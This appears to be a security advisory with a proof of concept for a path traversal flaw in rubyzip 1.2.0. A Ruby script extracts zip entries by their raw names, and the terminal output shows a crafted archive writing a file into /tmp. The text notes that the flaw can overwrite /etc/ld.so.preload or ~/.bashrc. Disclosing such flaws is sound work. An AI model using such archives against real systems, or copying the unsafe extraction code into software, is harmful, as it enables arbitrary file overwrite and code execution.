Ruby Gem RubyZip Path Traversal

Rubyzip module allows to overwrite or create arbitrary files via relative filenames and executing malicious code, e.g. by writing to /etc/ld.so.preload, ~/.bashrc.

Proof of Concept

# rubyzip_traversal.rb
require 'zip'

Zip::File.open('traversal.zip') do |zip_file|
  # Handle entries one by one
  zip_file.each do |entry|
    # Extract to file/directory/symlink
    puts "Extracting #{entry.name}"
    entry.extract(entry.name)
  end
end

$ uname -rsv
Darwin 16.3.0 Darwin Kernel Version 16.3.0: Thu Nov 17 20:23:58 PST 2016; root:xnu-3789.31.2~1/RELEASE_X86_64
$ ruby --version
ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-darwin16]
$ gem list | grep zip
rubyzip (1.2.0)

$ unzip traversal.zip
Archive:  traversal.zip
warning:  skipped "../" path component(s) in ../../../../../../../../../../../../../../tmp/zip_attack123
  inflating: tmp/zip_attack123

$ ls -al /tmp/zip_attack123
ls: cannot access '/tmp/zip_attack123': No such file or directory

$ ruby rubyzip_test_traversal.rb
Invalid date/time in zip entry
Extracting ../../../../../../../../../../../../../../tmp/zip_attack123
Invalid date/time in zip entry
$ ls -al /tmp/zip_attack123
-rw-r--r-- 1 anon wheel 11 Jan 31 23:24 /tmp/zip_attack123

References